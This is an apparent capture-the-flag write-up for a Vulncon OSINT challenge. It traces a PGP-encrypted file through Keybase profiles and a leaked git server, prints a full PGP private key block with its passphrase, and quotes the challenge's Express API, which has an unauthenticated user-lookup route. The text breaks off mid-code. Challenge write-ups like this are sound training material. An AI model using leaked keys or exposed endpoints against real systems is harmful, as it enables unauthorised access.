BOOK THIS SPACE FOR AD
ARTICLE ADHello everyone. In this writeup, I am gonna explain about how I solved this challenge. It was tricky as multiple puzzle pieces had to be connected. Yet, it was full of new learning experiences.
So with that, lets go.
Challenge Description:
0xAl3x has leaked Vulncon’s Internals Docs on Dark Web. Can you find out what they are hiding from everyone behind the scenes?
Link:
http://7ebo2vvc4cmwmzvukmjtwqdfdnb7njagz6ipirbbpyfvhspqpiah2lqd.onion/index.html
Accesing the Tor link will give up a hyperlink to download a file named as vulnc0n.enc .
The file content :
-----BEGIN PGP MESSAGE-----Version: Keybase OpenPGP v2.0.76
Comment: https://keybase.io/crypto
yMClAnicAVkBpv7EDQMACgE+IL3P7u9zEwHLKXUAZkhDiWh0dHBzOi8vZmlsZXMu
Y2F0Ym94Lm1vZS93ZWNpeDYuemlwwsBcBAABCgAGBQJmSEOJAAoJED4gvc/u73MT
UaAIAJgHfaXfUZYpzXurf2SCIsHLWFvUlu+qOt2ahycZz5NcnTwXLLWjeN0wphms
/EPVsvhRsv5pFmaEmgYAaRH8Rw1xlSUioGtBLJRGUoDO1pys1vHL4vurBUXkC708
a0UroczBmSbHPAuLf3JfhZqCkOYLqFZ/J9SdOg5EERBu0RID0CsnQucqlj3C5F5n
WcDLedKe/W4PjKQhyEwe9DZSSzB5Bj7smj+6vYO9vtR8sgY8bZYoWMcZ0XexIL59
gQxcVudo0w8tmkOlmvwxoLD5kBmCcMOhVc5zFoBnmedaNwUwupDy883mdYgbrThp
MakLKOo+lQE9E/42DoZSscy6SnTWp5j5
=/OmL
-----END PGP MESSAGE-----
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: Keybase OpenPGP v2.0.76
Comment: https://keybase.io/crypto
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
=vcv+
-----END PGP PUBLIC KEY BLOCK-----
It seems like a encoded message which needs to be decrypted. But, all we have is a public key. Umm…
Lets explore more. If we see the comment part, we can see its generated using keybase.io
Whats keybase?
So i first created an account on this.
Now accessing keybase.io/crypto
Now we can see that the above has a search option. If we search on for keyword “vulncon”, we can see a profile as : https://keybase.io/vulncon_temp_lel
This profile had nothing much but, if we see the Following, we can see that a profile is suspicious: sablaafk:
So we can see we are on the right path. We can see she has her public key in her profile.
Now since i did not have experience with this, i just imported this on my pc and tried to decrypt the vulnc0n.enc. Sounds so dumb, but it actually helped.
Dumping keys:
curl https://keybase.io/sabiaafk/pgp_keys.asc | gpg --import>>gpg: key 43FEBCD8A0694FCD: "sabia-afk <tjsince1337@gmail.com>" not changed
gpg: Total number processed: 1
gpg: unchanged: 1
gpg --decrypt vulncon.enc
>>https://files.catbox.moe/wecix6.zipgpg: Signature made Sat May 18 05:58:33 2024 UTC
gpg: using RSA key 3E20BDCFEEEF7313
gpg: Good signature from "vulncon <vulncon@vulncon.vulncon>" [unknown]
gpg: WARNING: This key is not certified with a trusted signature!
gpg: There is no indication that the signature belongs to the owner.
Primary key fingerprint: 52BE FC6C 918F CCCE 97F1 F523 D6E2 B4D6 6BB9 BD43
Subkey fingerprint: 40BE 1097 4EFD C0DC CD82 04F1 3E20 BDCF EEEF 7313
gpg: [don't know]: invalid packet (ctb=1c)
The crazy stuff here is , the file url. So yeah, since i did not have the private key, the message wont decode but it should throw error which happened in this case.
Url: https://files.catbox.moe/wecix6.zipgpg
Accessing the URL gave a 404. Now common sense works and we can assume it should be wecix6.zip
Final url: https://files.catbox.moe/wecix6.zip
Visiting the url downloaded a ZIP file which had source code of application named pfshare.
Looking into files 2 things were interesting: .git/config and source/libs/pfshare_clients.ts
.git/config:[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = https://git.comefindme.dev/pfshare/pfshare.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master
import axios from 'axios';
const pfSClient = (token?: string) => {
return axios.create({
baseURL: 'https://share.comefindme.dev',
timeout: 10000,
headers: {
'Content-Type': 'application/json',
'User-Agent': 'pfShare',
'Authorization': 'Bearer ' + token,
}
})
}
export default pfSClient;
Urls: share.comfindme.dev and git.comefindme.dev
Visiting git.comefindme.dev :
If we click on explore, we see there are 3 public repositories:
The dotfiles repo had bootstrap.sh file:
#!/bin/bashwget https://files.catbox.moe/t3gt0w.asc ~/.gnupg/k1
wget https://files.catbox.moe/956ldr.asc ~/.gnupg/k2
echo "Downloaded keys"
Cool stuff. I downloaded these files in my terminal.
t3gt0w.asc:-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: Keybase OpenPGP v2.0.76
Comment: https://keybase.io/crypto
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
=vcv+
-----END PGP PUBLIC KEY BLOCK-----
-----BEGIN PGP PRIVATE KEY BLOCK-----
Version: Keybase OpenPGP v2.0.76
Comment: https://keybase.io/crypto
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
n4lkNmUjZQ/t
=vD3t
-----END PGP PRIVATE KEY BLOCK-----
Cool stuffs!! Now lets move back to keybase and add a PGP key:
Since we already have the public key t3.asc with us, we will click i have one already.
Click on lets do it:
Add our private key here 95.asc :
Now the moment you will add it, you will get:
Existing passphrase. Woah. Where is it now. Now, if we analyze the dotfiles repo, we can see a commit made: https://git.comefindme.dev/0xal3x/dotfiles/commit/689562f3db134b79b4f4a8bcadb28a95ab84f1fe
And hence we have pass as: vulncon
Add all values and click on encrypt on keybase.io:
Now we can decrypt the vulnc0n.asc from keybase.io/decrypt:
Flag incoming??
Wait for it:
Rabbiiittt Holee!! So ain’t we already had that file??
Where is the flag??
I was so confused at this moment. Asked for a sanity check and the awesome ctf team at Vulncon said, i am 50% done.
So yeah, now i know, its all now on : share.comefindme.dev.
A spent a lot of time on code analysis and repo reading. The third repo:
pfshare/api matched the working of share.comefindme.dev.
Access:
If we read the index.ts, we see that a Authorization Bearer Token is needed to access some routes of the page:
import { $ } from "bun";import express, { type Application } from "express";
import logger from "morgan"
import cors from "cors";
import helmet from "helmet";
import jwt, { type JwtPayload } from "jsonwebtoken";
import { genSaltSync, hashSync, compareSync } from "bcrypt-edge"
import multer from "multer";
import fs from "fs";
import { db } from "./db";
const PORT = process.env.PORT ?? 3000;
const pvtkey = fs.readFileSync("./jwtRS256.key");
const pubkey = fs.readFileSync("./jwtRS256.key.pub");
const app : Application = express();
app.use(logger('dev'));
app.use(cors());
app.use(helmet());
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.get("/", (req, res) => {
return res.json({ message: "Hello, World!" });
});
app.get("/user/:id", (req, res) => {
const user = db.prepare("SELECT * FROM users WHERE id = ?").get(req.params.id);
return res.json(user);
});
// app.get("/register", async (req, res) => {
// const { name, password, email, role } = req.query;
